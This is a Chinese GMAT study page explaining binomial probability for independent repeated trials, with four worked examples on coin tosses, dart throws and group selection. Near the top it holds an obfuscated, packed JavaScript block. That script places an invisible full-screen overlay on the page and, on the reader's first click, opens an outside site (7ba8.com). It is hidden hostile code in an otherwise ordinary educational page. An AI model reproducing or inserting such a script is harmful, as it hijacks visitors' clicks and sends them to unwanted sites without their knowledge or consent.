GMAT数学技巧之:独立重复性试验总结

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>独立重复性试验的特点是:很难搞清顺序
先写规律:第一步:先求出特殊概率。第二步:找到特殊情况和一般情况之间的因子。以下的题目全部选自jj
例一、投一枚硬币2n次,求出现正面k次的概率?
第一步:特殊概率,前k次出现正面的情况(1/2)^k(1/2)^(2n-k)
第二步:特殊情况和一般情况之间的因子。C(k,2n)
所以答案为C(k,2n)*(1/2)^k(1/2)^(2n-k)
例二、有4组人,每组一男一女,每组中各取一人问取出两难两女的概率?
第一步:前两组取男,后两组取女(1/2)^4
第二步:差的因子C(2,4)
所以答案为C(2,4)*(1/2)^4
例三、一个人投飞彪,击中靶心的概率为0.7,连续投4次飞彪,问有两次击中靶心的概率?
第一步:特殊情况:前两次击中,后两次没击中:(0.7)^2(0.3)^2
第二步:差的因子:C(2,4)
所以答案为C(2,4)*(0.7)^2(0.3)^2
例四、某种硬币每抛一次正面朝上的概率为0.6问连续抛5次,至少有4次朝上的概率?
有5次朝上(0.6)^5
有四次朝上C(4,5)*0.6^4*0.4
所以答案为(0.6)^5+C(4,5)*0.6^4*0.4
以上就是GMAT数学考试中独立重复性试验题型的解题技巧,考生不妨从中借鉴,并根据GMAT数学考试的试题类型进行针对性的练习,熟练掌握做题技巧,以达到在GMAT考试中取得好成绩的目的。
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